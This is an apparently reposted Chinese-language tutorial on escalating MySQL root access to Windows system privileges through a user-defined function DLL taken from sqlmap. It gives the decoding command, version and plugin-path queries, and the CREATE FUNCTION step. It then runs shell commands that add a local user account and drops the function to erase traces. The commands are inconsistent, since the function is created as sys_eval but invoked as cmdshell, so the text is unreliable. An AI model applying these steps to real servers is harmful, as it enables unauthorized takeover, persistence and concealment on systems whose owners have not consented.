mysql udf提权_mysql——udf提权
01
前言
udf = ‘user defined function‘,即‘用戶自定義函數’。文件后綴為‘.dll’,常用c語言編寫。
通過在udf文件中定義新函數,對MYSQL的功能進行擴充,可以執行系統任意命令。將MYSQL賬號root轉化為系統system權限。
02
思路
1.將udf文件上傳到指定位置
sqlmap中有現成的udf文件,有linux版本和windows版本分為32位和64位,一定要選擇對應系統的對應版本版本,否則會顯示:Can‘t open shared library ‘udf.dll‘。尤其要注意
??? sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
??? sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自帶 的shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:
python ./cloak.py -d -i? sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
會在當前目錄下生成一個解鎖后的lib_mysqludf_sys.dll
通過以下命令查看mysql的運行環境
show? variables like '%version%';
show variables like '%compile%';
或者
select @@version_compile_machine;
可以判斷是在64為的cpu上運行了win32的系統,因此我們的mysql程序也是32位的。在使用udf.dll文件時應該使用windows系統下32位的文件
sqlmap中的udf文件提供的函數:
sys_eval,執行任意命令,并將輸出返回。
sys_exec,執行任意命令,并將退出碼返回。
sys_get,獲取一個環境變量。
sys_set,創建或修改一個環境變量。
有了udf文件,接下來就是利用各種辦法上傳到網站指定目錄下?
MySQL<5.0,導出路徑隨意;
5.0 <= MySQL<5.1,則需要導出至目標服務器的系統目錄(如:c:/windows/system32/)
MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數。
通過以下命令查看mysql版本
select @@version;
select version();
根據不同的版本號,將udf.dll文件上傳到對應的目錄下。
本人所測試的mysql版本是5.5.53因此需要將udf.dll文件上傳到mysal/lib/plugin目錄下;
可以通過以下命令查看plugin文件夾的絕對路徑:
select @@plugin_dir;
本次只討論udf提權,上傳過程忽略
create function sys_eval returns string soname 'udf.dll';
select cmdshell ('whoami');
select cmdshell ('net user aaa abc123!@# /add');
消除痕跡
drop function sys_eval;
掃碼關注
微信號:JIANJIEXX_
總結
以上是生活随笔為你收集整理的mysql udf提权_mysql——udf提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python要和什么一起学_跟哥一起学P
- 下一篇: 请求接口返回的是一个html_搜狗美图